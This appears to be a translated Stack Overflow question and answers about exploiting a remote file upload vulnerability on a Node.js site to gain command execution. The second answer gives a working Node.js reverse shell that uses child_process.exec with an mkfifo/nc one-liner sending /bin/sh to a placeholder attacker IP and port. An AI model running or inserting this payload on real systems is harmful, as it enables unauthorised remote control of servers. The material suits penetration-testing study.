【问题标题】:NodeJS remote file upload vulnerabilityNodeJS 远程文件上传漏洞
【发布时间】:2018-12-11 04:48:54
【问题描述】:

我正在尝试学习 NodeJS 的渗透测试过程,我在 Nodejs 网站中发现了一个远程文件上传漏洞,我可以像在 PHP 或 ASPX 中那样在 NodeJS 中上传远程 shell 并执行命令吗?我可以从这个 shell 上传 NodeJS shell.js 并在服务器中执行 unix 命令吗?

【问题讨论】:

  • 你可以上传shell.js脚本,但是你不能远程执行它,除非你有目标的SSH密码和用户名

标签: node.js security websecurity


【解决方案1】:

不确定这是否是您要查找的内容,但如果您能够将 NodeJS 脚本上传到服务器执行它,那么是的,您可以使用 @ 运行 shell 命令987654321@(有关类似问题/答案,请参阅here)。

【讨论】:

    【解决方案2】:

    只有当你可以“执行”文件时才有可能。

    但是,如果您可以“执行”JavaScript 代码,您可以使用以下方法创建一个反向 shell:

    (function () {
        require("child_process")
        .exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackerIP> <attackerPort> >/tmp/f')
    })()]
    

    否则,如果您无法执行该文件,那么您只会看到该文件的内容:

    https://myvulnerablewebsite.com/hack.js

    【讨论】:

      猜你喜欢
      • 2022-10-21
      • 1970-01-01
      • 2014-01-10
      • 1970-01-01
      • 1970-01-01
      • 2015-03-09
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多